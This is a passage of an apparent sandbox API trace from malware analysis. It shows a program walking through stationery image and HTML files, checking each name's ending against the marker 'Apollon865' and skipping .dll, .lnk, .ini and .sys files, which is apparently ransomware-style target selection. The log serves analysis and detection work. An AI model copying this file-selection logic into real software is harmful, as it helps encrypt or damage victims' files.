	[0075.316] lstrlenW (lpString=".lnk") returned 4
	[0075.316] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2=".lnk") returned 1
	[0075.316] lstrlenW (lpString=".ini") returned 4
	[0075.316] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2=".ini") returned 1
	[0075.316] lstrlenW (lpString=".sys") returned 4
	[0075.316] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2=".sys") returned 1
	[0075.316] lstrlenW (lpString="grid_(cm).wmf") returned 13
	[0075.316] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="grid_(inch).wmf" | out: lpString1="grid_(inch).wmf") returned="grid_(inch).wmf"
	[0075.316] lstrlenW (lpString="grid_(inch).wmf") returned 15
	[0075.317] lstrlenW (lpString="Apollon865") returned 10
	[0075.317] lstrcmpiW (lpString1="(inch).wmf", lpString2="Apollon865") returned -1
	[0075.317] lstrlenW (lpString=".dll") returned 4
	[0075.317] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2=".dll") returned 1
	[0075.317] lstrlenW (lpString=".lnk") returned 4
	[0075.317] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2=".lnk") returned 1
	[0075.317] lstrlenW (lpString=".ini") returned 4
	[0075.317] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2=".ini") returned 1
	[0075.317] lstrlenW (lpString=".sys") returned 4
	[0075.317] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2=".sys") returned 1
	[0075.317] lstrlenW (lpString="grid_(inch).wmf") returned 15
	[0075.317] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Hand Prints.htm" | out: lpString1="Hand Prints.htm") returned="Hand Prints.htm"
	[0075.317] lstrlenW (lpString="Hand Prints.htm") returned 15
	[0075.317] lstrlenW (lpString="Apollon865") returned 10
	[0075.317] lstrcmpiW (lpString1="Prints.htm", lpString2="Apollon865") returned 1
	[0075.317] lstrlenW (lpString=".dll") returned 4
	[0075.317] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".dll") returned 1
	[0075.317] lstrlenW (lpString=".lnk") returned 4
	[0075.317] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".lnk") returned 1
	[0075.317] lstrlenW (lpString=".ini") returned 4
	[0075.317] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".ini") returned 1
	[0075.317] lstrlenW (lpString=".sys") returned 4
	[0075.317] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".sys") returned 1
	[0075.337] lstrlenW (lpString="Hand Prints.htm") returned 15
	[0075.339] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="HandPrints.jpg" | out: lpString1="HandPrints.jpg") returned="HandPrints.jpg"
	[0075.340] lstrlenW (lpString="HandPrints.jpg") returned 14
	[0075.340] lstrlenW (lpString="Apollon865") returned 10
	[0075.340] lstrcmpiW (lpString1="Prints.jpg", lpString2="Apollon865") returned 1
	[0075.340] lstrlenW (lpString=".dll") returned 4
	[0075.340] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".dll") returned 1
	[0075.340] lstrlenW (lpString=".lnk") returned 4
	[0075.340] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".lnk") returned 1
	[0075.340] lstrlenW (lpString=".ini") returned 4
	[0075.340] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".ini") returned 1
	[0075.340] lstrlenW (lpString=".sys") returned 4
	[0075.340] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".sys") returned 1
	[0075.340] lstrlenW (lpString="HandPrints.jpg") returned 14
	[0075.340] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Memo.emf" | out: lpString1="Memo.emf") returned="Memo.emf"
	[0075.340] lstrlenW (lpString="Memo.emf") returned 8
	[0075.340] lstrlenW (lpString="Apollon865") returned 10
	[0075.340] lstrlenW (lpString=".dll") returned 4
	[0075.340] lstrcmpiW (lpString1="Memo.emf", lpString2=".dll") returned 1
	[0075.340] lstrlenW (lpString=".lnk") returned 4
	[0075.340] lstrcmpiW (lpString1="Memo.emf", lpString2=".lnk") returned 1
	[0075.340] lstrlenW (lpString=".ini") returned 4
	[0075.340] lstrcmpiW (lpString1="Memo.emf", lpString2=".ini") returned 1
	[0075.340] lstrlenW (lpString=".sys") returned 4
	[0075.340] lstrcmpiW (lpString1="Memo.emf", lpString2=".sys") returned 1
	[0075.341] lstrlenW (lpString="Memo.emf") returned 8
	[0075.341] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Monet.jpg" | out: lpString1="Monet.jpg") returned="Monet.jpg"
	[0075.341] lstrlenW (lpString="Monet.jpg") returned 9
	[0075.341] lstrlenW (lpString="Apollon865") returned 10
	[0075.341] lstrlenW (lpString=".dll") returned 4
	[0075.341] lstrcmpiW (lpString1="Monet.jpg", lpString2=".dll") returned 1
	[0075.341] lstrlenW (lpString=".lnk") returned 4
	[0075.341] lstrcmpiW (lpString1="Monet.jpg", lpString2=".lnk") returned 1
	[0075.341] lstrlenW (lpString=".ini") returned 4
	[0075.341] lstrcmpiW (lpString1="Monet.jpg", lpString2=".ini") returned 1
	[0075.341] lstrlenW (lpString=".sys") returned 4
	[0075.341] lstrcmpiW (lpString1="Monet.jpg", lpString2=".sys") returned 1
	[0075.341] lstrlenW (lpString="Monet.jpg") returned 9
	[0075.341] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Month_Calendar.emf" | out: lpString1="Month_Calendar.emf") returned="Month_Calendar.emf"
	[0075.341] lstrlenW (lpString="Month_Calendar.emf") returned 18
	[0075.341] lstrlenW (lpString="Apollon865") returned 10
	[0075.341] lstrcmpiW (lpString1="lendar.emf", lpString2="Apollon865") returned 1
	[0075.341] lstrlenW (lpString=".dll") returned 4
	[0075.341] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2=".dll") returned 1
	[0075.341] lstrlenW (lpString=".lnk") returned 4
	[0075.341] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2=".lnk") returned 1
	[0075.341] lstrlenW (lpString=".ini") returned 4
	[0075.341] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2=".ini") returned 1
	[0075.341] lstrlenW (lpString=".sys") returned 4
	[0075.341] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2=".sys") returned 1
	[0075.341] lstrlenW (lpString="Month_Calendar.emf") returned 18
	[0075.341] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Music.emf" | out: lpString1="Music.emf") returned="Music.emf"
	[0075.341] lstrlenW (lpString="Music.emf") returned 9
	[0075.342] lstrlenW (lpString="Apollon865") returned 10
	[0075.342] lstrlenW (lpString=".dll") returned 4
	[0075.342] lstrcmpiW (lpString1="Music.emf", lpString2=".dll") returned 1
	[0075.342] lstrlenW (lpString=".lnk") returned 4
	[0075.342] lstrcmpiW (lpString1="Music.emf", lpString2=".lnk") returned 1
	[0075.342] lstrlenW (lpString=".ini") returned 4
	[0075.342] lstrcmpiW (lpString1="Music.emf", lpString2=".ini") returned 1
	[0075.342] lstrlenW (lpString=".sys") returned 4
	[0075.342] lstrcmpiW (lpString1="Music.emf", lpString2=".sys") returned 1
	[0075.342] lstrlenW (lpString="Music.emf") returned 9
	[0075.342] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Notebook.jpg" | out: lpString1="Notebook.jpg") returned="Notebook.jpg"
	[0075.342] lstrlenW (lpString="Notebook.jpg") returned 12
	[0075.342] lstrlenW (lpString="Apollon865") returned 10
	[0075.342] lstrcmpiW (lpString1="tebook.jpg", lpString2="Apollon865") returned 1
	[0075.342] lstrlenW (lpString=".dll") returned 4
	[0075.342] lstrcmpiW (lpString1="Notebook.jpg", lpString2=".dll") returned 1
	[0075.342] lstrlenW (lpString=".lnk") returned 4
	[0075.342] lstrcmpiW (lpString1="Notebook.jpg", lpString2=".lnk") returned 1
	[0075.342] lstrlenW (lpString=".ini") returned 4
	[0075.342] lstrcmpiW (lpString1="Notebook.jpg", lpString2=".ini") returned 1
	[0075.342] lstrlenW (lpString=".sys") returned 4
	[0075.342] lstrcmpiW (lpString1="Notebook.jpg", lpString2=".sys") returned 1
	[0075.342] lstrlenW (lpString="Notebook.jpg") returned 12
	[0075.342] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Orange Circles.htm" | out: lpString1="Orange Circles.htm") returned="Orange Circles.htm"
	[0075.342] lstrlenW (lpString="Orange Circles.htm") returned 18
	[0075.342] lstrlenW (lpString="Apollon865") returned 10
	[0075.342] lstrcmpiW (lpString1="ircles.htm", lpString2="Apollon865") returned 1
	[0075.342] lstrlenW (lpString=".dll") returned 4
	[0075.342] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".dll") returned 1
	[0075.342] lstrlenW (lpString=".lnk") returned 4
	[0075.342] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".lnk") returned 1
	[0075.342] lstrlenW (lpString=".ini") returned 4
	[0075.342] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".ini") returned 1
	[0075.343] lstrlenW (lpString=".sys") returned 4
	[0075.343] lstrcmpiW (lpString1="Orange Circles.htm", lpString2=".sys") returned 1
	[0075.343] lstrlenW (lpString="Orange Circles.htm") returned 18
	[0075.343] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="OrangeCircles.jpg" | out: lpString1="OrangeCircles.jpg") returned="OrangeCircles.jpg"
	[0075.343] lstrlenW (lpString="OrangeCircles.jpg") returned 17
	[0075.343] lstrlenW (lpString="Apollon865") returned 10
	[0075.343] lstrcmpiW (lpString1="ircles.jpg", lpString2="Apollon865") returned 1
	[0075.343] lstrlenW (lpString=".dll") returned 4
	[0075.343] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".dll") returned 1
	[0075.343] lstrlenW (lpString=".lnk") returned 4
	[0075.343] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".lnk") returned 1
	[0075.343] lstrlenW (lpString=".ini") returned 4
	[0075.343] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".ini") returned 1
	[0075.343] lstrlenW (lpString=".sys") returned 4
	[0075.343] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2=".sys") returned 1
	[0075.343] lstrlenW (lpString="OrangeCircles.jpg") returned 17
	[0075.343] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Peacock.htm" | out: lpString1="Peacock.htm") returned="Peacock.htm"
	[0075.343] lstrlenW (lpString="Peacock.htm") returned 11
	[0075.343] lstrlenW (lpString="Apollon865") returned 10
	[0075.343] lstrcmpiW (lpString1="eacock.htm", lpString2="Apollon865") returned 1
	[0075.343] lstrlenW (lpString=".dll") returned 4
	[0075.343] lstrcmpiW (lpString1="Peacock.htm", lpString2=".dll") returned 1
	[0075.343] lstrlenW (lpString=".lnk") returned 4
	[0075.343] lstrcmpiW (lpString1="Peacock.htm", lpString2=".lnk") returned 1
	[0075.343] lstrlenW (lpString=".ini") returned 4
	[0075.343] lstrcmpiW (lpString1="Peacock.htm", lpString2=".ini") returned 1
	[0075.343] lstrlenW (lpString=".sys") returned 4
	[0075.343] lstrcmpiW (lpString1="Peacock.htm", lpString2=".sys") returned 1
	[0075.343] lstrlenW (lpString="Peacock.htm") returned 11
	[0075.344] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Peacock.jpg" | out: lpString1="Peacock.jpg") returned="Peacock.jpg"
	[0075.344] lstrlenW (lpString="Peacock.jpg") returned 11
	[0075.344] lstrlenW (lpString="Apollon865") returned 10
	[0075.344] lstrcmpiW (lpString1="eacock.jpg", lpString2="Apollon865") returned 1
	[0075.344] lstrlenW (lpString=".dll") returned 4
	[0075.344] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".dll") returned 1
	[0075.344] lstrlenW (lpString=".lnk") returned 4
	[0075.344] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".lnk") returned 1
	[0075.344] lstrlenW (lpString=".ini") returned 4
	[0075.344] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".ini") returned 1
	[0075.344] lstrlenW (lpString=".sys") returned 4
	[0075.344] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".sys") returned 1
	[0075.344] lstrlenW (lpString="Peacock.jpg") returned 11
	[0075.344] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Pine_Lumber.jpg" | out: lpString1="Pine_Lumber.jpg") returned="Pine_Lumber.jpg"
	[0075.344] lstrlenW (lpString="Pine_Lumber.jpg") returned 15
	[0075.344] lstrlenW (lpString="Apollon865") returned 10
	[0075.344] lstrcmpiW (lpString1="Lumber.jpg", lpString2="Apollon865") returned 1
	[0075.344] lstrlenW (lpString=".dll") returned 4
	[0075.344] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2=".dll") returned 1
	[0075.344] lstrlenW (lpString=".lnk") returned 4
	[0075.344] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2=".lnk") returned 1
	[0075.344] lstrlenW (lpString=".ini") returned 4
	[0075.344] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2=".ini") returned 1
	[0075.344] lstrlenW (lpString=".sys") returned 4
	[0075.344] lstrcmpiW (lpString1="Pine_Lumber.jpg", lpString2=".sys") returned 1
	[0075.344] lstrlenW (lpString="Pine_Lumber.jpg") returned 15
	[0075.344] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Pretty_Peacock.jpg" | out: lpString1="Pretty_Peacock.jpg") returned="Pretty_Peacock.jpg"
	[0075.344] lstrlenW (lpString="Pretty_Peacock.jpg") returned 18
	[0075.344] lstrlenW (lpString="Apollon865") returned 10
	[0075.344] lstrcmpiW (lpString1="eacock.jpg", lpString2="Apollon865") returned 1
	[0075.344] lstrlenW (lpString=".dll") returned 4
	[0075.344] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2=".dll") returned 1
	[0075.345] lstrlenW (lpString=".lnk") returned 4
	[0075.345] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2=".lnk") returned 1
	[0075.345] lstrlenW (lpString=".ini") returned 4
	[0075.345] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2=".ini") returned 1
	[0075.345] lstrlenW (lpString=".sys") returned 4
	[0075.345] lstrcmpiW (lpString1="Pretty_Peacock.jpg", lpString2=".sys") returned 1
	[0075.345] lstrlenW (lpString="Pretty_Peacock.jpg") returned 18
	[0075.345] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Psychedelic.jpg" | out: lpString1="Psychedelic.jpg") returned="Psychedelic.jpg"
	[0075.345] lstrlenW (lpString="Psychedelic.jpg") returned 15
	[0075.345] lstrlenW (lpString="Apollon865") returned 10
	[0075.345] lstrcmpiW (lpString1="edelic.jpg", lpString2="Apollon865") returned 1
	[0075.345] lstrlenW (lpString=".dll") returned 4
	[0075.345] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2=".dll") returned 1
	[0075.345] lstrlenW (lpString=".lnk") returned 4
	[0075.345] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2=".lnk") returned 1
	[0075.345] lstrlenW (lpString=".ini") returned 4
	[0075.345] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2=".ini") returned 1
	[0075.345] lstrlenW (lpString=".sys") returned 4
	[0075.345] lstrcmpiW (lpString1="Psychedelic.jpg", lpString2=".sys") returned 1
	[0075.345] lstrlenW (lpString="Psychedelic.jpg") returned 15
	[0075.345] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Roses.htm" | out: lpString1="Roses.htm") returned="Roses.htm"
	[0075.345] lstrlenW (lpString="Roses.htm") returned 9
	[0075.345] lstrlenW (lpString="Apollon865") returned 10
	[0075.345] lstrlenW (lpString=".dll") returned 4
	[0075.345] lstrcmpiW (lpString1="Roses.htm", lpString2=".dll") returned 1
	[0075.345] lstrlenW (lpString=".lnk") returned 4
	[0075.345] lstrcmpiW (lpString1="Roses.htm", lpString2=".lnk") returned 1
	[0075.345] lstrlenW (lpString=".ini") returned 4
	[0075.345] lstrcmpiW (lpString1="Roses.htm", lpString2=".ini") returned 1
	[0075.345] lstrlenW (lpString=".sys") returned 4
	[0075.345] lstrcmpiW (lpString1="Roses.htm", lpString2=".sys") returned 1
	[0075.346] lstrlenW (lpString="Roses.htm") returned 9
	[0075.346] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Roses.jpg" | out: lpString1="Roses.jpg") returned="Roses.jpg"
	[0075.346] lstrlenW (lpString="Roses.jpg") returned 9
	[0075.346] lstrlenW (lpString="Apollon865") returned 10
	[0075.346] lstrlenW (lpString=".dll") returned 4
	[0075.346] lstrcmpiW (lpString1="Roses.jpg", lpString2=".dll") returned 1
	[0075.346] lstrlenW (lpString=".lnk") returned 4
	[0075.346] lstrcmpiW (lpString1="Roses.jpg", lpString2=".lnk") returned 1
	[0075.346] lstrlenW (lpString=".ini") returned 4
	[0075.346] lstrcmpiW (lpString1="Roses.jpg", lpString2=".ini") returned 1
	[0075.346] lstrlenW (lpString=".sys") returned 4
	[0075.346] lstrcmpiW (lpString1="Roses.jpg", lpString2=".sys") returned 1
	[0075.346] lstrlenW (lpString="Roses.jpg") returned 9
	[0075.346] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Sand_Paper.jpg" | out: lpString1="Sand_Paper.jpg") returned="Sand_Paper.jpg"
	[0075.346] lstrlenW (lpString="Sand_Paper.jpg") returned 14
	[0075.346] lstrlenW (lpString="Apollon865") returned 10
	[0075.346] lstrcmpiW (lpString1="_Paper.jpg", lpString2="Apollon865") returned -1
	[0075.346] lstrlenW (lpString=".dll") returned 4
	[0075.346] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2=".dll") returned 1
	[0075.346] lstrlenW (lpString=".lnk") returned 4
	[0075.346] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2=".lnk") returned 1
	[0075.346] lstrlenW (lpString=".ini") returned 4
	[0075.346] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2=".ini") returned 1
	[0075.346] lstrlenW (lpString=".sys") returned 4
	[0075.346] lstrcmpiW (lpString1="Sand_Paper.jpg", lpString2=".sys") returned 1
	[0075.346] lstrlenW (lpString="Sand_Paper.jpg") returned 14
	[0075.346] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Seyes.emf" | out: lpString1="Seyes.emf") returned="Seyes.emf"
	[0075.346] lstrlenW (lpString="Seyes.emf") returned 9
	[0075.347] lstrlenW (lpString="Apollon865") returned 10
	[0075.347] lstrlenW (lpString=".dll") returned 4
	[0075.347] lstrcmpiW (lpString1="Seyes.emf", lpString2=".dll") returned 1
	[0075.347] lstrlenW (lpString=".lnk") returned 4
	[0075.347] lstrcmpiW (lpString1="Seyes.emf", lpString2=".lnk") returned 1
	[0075.347] lstrlenW (lpString=".ini") returned 4
	[0075.347] lstrcmpiW (lpString1="Seyes.emf", lpString2=".ini") returned 1
	[0075.347] lstrlenW (lpString=".sys") returned 4
	[0075.347] lstrcmpiW (lpString1="Seyes.emf", lpString2=".sys") returned 1
	[0075.347] lstrlenW (lpString="Seyes.emf") returned 9
	[0075.347] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Shades of Blue.htm" | out: lpString1="Shades of Blue.htm") returned="Shades of Blue.htm"
	[0075.347] lstrlenW (lpString="Shades of Blue.htm") returned 18
	[0075.347] lstrlenW (lpString="Apollon865") returned 10
	[0075.347] lstrcmpiW (lpString1="f Blue.htm", lpString2="Apollon865") returned 1
	[0075.347] lstrlenW (lpString=".dll") returned 4
	[0075.347] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".dll") returned 1
	[0075.347] lstrlenW (lpString=".lnk") returned 4
	[0075.347] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".lnk") returned 1
	[0075.347] lstrlenW (lpString=".ini") returned 4
	[0075.347] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".ini") returned 1
	[0075.347] lstrlenW (lpString=".sys") returned 4
	[0075.347] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".sys") returned 1
	[0075.347] lstrlenW (lpString="Shades of Blue.htm") returned 18
	[0075.347] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="ShadesOfBlue.jpg" | out: lpString1="ShadesOfBlue.jpg") returned="ShadesOfBlue.jpg"
	[0075.347] lstrlenW (lpString="ShadesOfBlue.jpg") returned 16
	[0075.347] lstrlenW (lpString="Apollon865") returned 10
	[0075.347] lstrcmpiW (lpString1="OfBlue.jpg", lpString2="Apollon865") returned 1
	[0075.347] lstrlenW (lpString=".dll") returned 4
	[0075.347] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".dll") returned 1
	[0075.347] lstrlenW (lpString=".lnk") returned 4
	[0075.347] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".lnk") returned 1
	[0075.347] lstrlenW (lpString=".ini") returned 4
	[0075.348] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".ini") returned 1
	[0075.348] lstrlenW (lpString=".sys") returned 4
	[0075.348] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".sys") returned 1
	[0075.348] lstrlenW (lpString="ShadesOfBlue.jpg") returned 16
	[0075.348] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Shorthand.emf" | out: lpString1="Shorthand.emf") returned="Shorthand.emf"
	[0075.348] lstrlenW (lpString="Shorthand.emf") returned 13
	[0075.348] lstrlenW (lpString="Apollon865") returned 10
	[0075.348] lstrcmpiW (lpString1="rthand.emf", lpString2="Apollon865") returned 1
	[0075.348] lstrlenW (lpString=".dll") returned 4
	[0075.348] lstrcmpiW (lpString1="Shorthand.emf", lpString2=".dll") returned 1
	[0075.348] lstrlenW (lpString=".lnk") returned 4
	[0075.348] lstrcmpiW (lpString1="Shorthand.emf", lpString2=".lnk") returned 1
	[0075.348] lstrlenW (lpString=".ini") returned 4
	[0075.348] lstrcmpiW (lpString1="Shorthand.emf", lpString2=".ini") returned 1
	[0075.348] lstrlenW (lpString=".sys") returned 4
	[0075.348] lstrcmpiW (lpString1="Shorthand.emf", lpString2=".sys") returned 1
	[0075.348] lstrlenW (lpString="Shorthand.emf") returned 13
	[0075.348] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Small_News.jpg" | out: lpString1="Small_News.jpg") returned="Small_News.jpg"
	[0075.348] lstrlenW (lpString="Small_News.jpg") returned 14
	[0075.348] lstrlenW (lpString="Apollon865") returned 10
	[0075.348] lstrcmpiW (lpString1="l_News.jpg", lpString2="Apollon865") returned 1
	[0075.348] lstrlenW (lpString=".dll") returned 4
	[0075.348] lstrcmpiW (lpString1="Small_News.jpg", lpString2=".dll") returned 1
	[0075.348] lstrlenW (lpString=".lnk") returned 4
	[0075.348] lstrcmpiW (lpString1="Small_News.jpg", lpString2=".lnk") returned 1
	[0075.348] lstrlenW (lpString=".ini") returned 4
	[0075.348] lstrcmpiW (lpString1="Small_News.jpg", lpString2=".ini") returned 1
	[0075.348] lstrlenW (lpString=".sys") returned 4
	[0075.348] lstrcmpiW (lpString1="Small_News.jpg", lpString2=".sys") returned 1
	[0075.348] lstrlenW (lpString="Small_News.jpg") returned 14
	[0075.349] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Soft Blue.htm" | out: lpString1="Soft Blue.htm") returned="Soft Blue.htm"
	[0075.349] lstrlenW (lpString="Soft Blue.htm") returned 13
	[0075.349] lstrlenW (lpString="Apollon865") returned 10
	[0075.349] lstrcmpiW (lpString1="t Blue.htm", lpString2="Apollon865") returned 1
	[0075.349] lstrlenW (lpString=".dll") returned 4
	[0075.349] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".dll") returned 1
	[0075.349] lstrlenW (lpString=".lnk") returned 4
	[0075.349] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".lnk") returned 1
	[0075.349] lstrlenW (lpString=".ini") returned 4
	[0075.349] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".ini") returned 1
	[0075.349] lstrlenW (lpString=".sys") returned 4
	[0075.349] lstrcmpiW (lpString1="Soft Blue.htm", lpString2=".sys") returned 1
	[0075.349] lstrlenW (lpString="Soft Blue.htm") returned 13
	[0075.349] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="SoftBlue.jpg" | out: lpString1="SoftBlue.jpg") returned="SoftBlue.jpg"
	[0075.349] lstrlenW (lpString="SoftBlue.jpg") returned 12
	[0075.349] lstrlenW (lpString="Apollon865") returned 10
	[0075.349] lstrcmpiW (lpString1="ftBlue.jpg", lpString2="Apollon865") returned 1
	[0075.349] lstrlenW (lpString=".dll") returned 4
	[0075.349] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".dll") returned 1
	[0075.349] lstrlenW (lpString=".lnk") returned 4
	[0075.349] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".lnk") returned 1
	[0075.349] lstrlenW (lpString=".ini") returned 4
	[0075.349] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".ini") returned 1
	[0075.349] lstrlenW (lpString=".sys") returned 4
	[0075.349] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".sys") returned 1
	[0075.349] lstrlenW (lpString="SoftBlue.jpg") returned 12
	[0075.349] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Stars.htm" | out: lpString1="Stars.htm") returned="Stars.htm"
	[0075.349] lstrlenW (lpString="Stars.htm") returned 9
	[0075.350] lstrlenW (lpString="Apollon865") returned 10
	[0075.350] lstrlenW (lpString=".dll") returned 4
	[0075.350] lstrcmpiW (lpString1="Stars.htm", lpString2=".dll") returned 1
	[0075.350] lstrlenW (lpString=".lnk") returned 4
	[0075.350] lstrcmpiW (lpString1="Stars.htm", lpString2=".lnk") returned 1
	[0075.350] lstrlenW (lpString=".ini") returned 4
	[0075.350] lstrcmpiW (lpString1="Stars.htm", lpString2=".ini") returned 1
	[0075.350] lstrlenW (lpString=".sys") returned 4
	[0075.350] lstrcmpiW (lpString1="Stars.htm", lpString2=".sys") returned 1
	[0075.350] lstrlenW (lpString="Stars.htm") returned 9
	[0075.350] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Stars.jpg" | out: lpString1="Stars.jpg") returned="Stars.jpg"
	[0075.350] lstrlenW (lpString="Stars.jpg") returned 9
	[0075.350] lstrlenW (lpString="Apollon865") returned 10
	[0075.350] lstrlenW (lpString=".dll") returned 4
	[0075.350] lstrcmpiW (lpString1="Stars.jpg", lpString2=".dll") returned 1
	[0075.350] lstrlenW (lpString=".lnk") returned 4
	[0075.350] lstrcmpiW (lpString1="Stars.jpg", lpString2=".lnk") returned 1
	[0075.350] lstrlenW (lpString=".ini") returned 4
	[0075.350] lstrcmpiW (lpString1="Stars.jpg", lpString2=".ini") returned 1
	[0075.350] lstrlenW (lpString=".sys") returned 4
	[0075.350] lstrcmpiW (lpString1="Stars.jpg", lpString2=".sys") returned 1
	[0075.350] lstrlenW (lpString="Stars.jpg") returned 9
	[0075.350] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Stucco.gif" | out: lpString1="Stucco.gif") returned="Stucco.gif"
	[0075.350] lstrlenW (lpString="Stucco.gif") returned 10
	[0075.350] lstrlenW (lpString="Apollon865") returned 10
	[0075.350] lstrlenW (lpString=".dll") returned 4
	[0075.350] lstrcmpiW (lpString1="Stucco.gif", lpString2=".dll") returned 1
	[0075.350] lstrlenW (lpString=".lnk") returned 4
	[0075.350] lstrcmpiW (lpString1="Stucco.gif", lpString2=".lnk") returned 1
	[0075.350] lstrlenW (lpString=".ini") returned 4
	[0075.350] lstrcmpiW (lpString1="Stucco.gif", lpString2=".ini") returned 1
	[0075.350] lstrlenW (lpString=".sys") returned 4
	[0075.350] lstrcmpiW (lpString1="Stucco.gif", lpString2=".sys") returned 1
	[0075.351] lstrlenW (lpString="Stucco.gif") returned 10
	[0075.351] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Tanspecks.jpg" | out: lpString1="Tanspecks.jpg") returned="Tanspecks.jpg"
	[0075.351] lstrlenW (lpString="Tanspecks.jpg") returned 13
	[0075.351] lstrlenW (lpString="Apollon865") returned 10
	[0075.351] lstrcmpiW (lpString1="specks.jpg", lpString2="Apollon865") returned 1
	[0075.351] lstrlenW (lpString=".dll") returned 4
	[0075.351] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2=".dll") returned 1
	[0075.351] lstrlenW (lpString=".lnk") returned 4
	[0075.351] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2=".lnk") returned 1
	[0075.351] lstrlenW (lpString=".ini") returned 4
	[0075.351] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2=".ini") returned 1
	[0075.351] lstrlenW (lpString=".sys") returned 4
	[0075.351] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2=".sys") returned 1
	[0075.351] lstrlenW (lpString="Tanspecks.jpg") returned 13
	[0075.351] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="Tiki.gif" | out: lpString1="Tiki.gif") returned="Tiki.gif"
	[0075.351] lstrlenW (lpString="Tiki.gif") returned 8
	[0075.351] lstrlenW (lpString="Apollon865") returned 10
	[0075.351] lstrlenW (lpString=".dll") returned 4
	[0075.351] lstrcmpiW (lpString1="Tiki.gif", lpString2=".dll") returned 1
	[0075.351] lstrlenW (lpString=".lnk") returned 4
	[0075.351] lstrcmpiW (lpString1="Tiki.gif", lpString2=".lnk") returned 1
	[0075.351] lstrlenW (lpString=".ini") returned 4
	[0075.351] lstrcmpiW (lpString1="Tiki.gif", lpString2=".ini") returned 1
	[0075.351] lstrlenW (lpString=".sys") returned 4
	[0075.351] lstrcmpiW (lpString1="Tiki.gif", lpString2=".sys") returned 1
	[0075.351] lstrlenW (lpString="Tiki.gif") returned 8
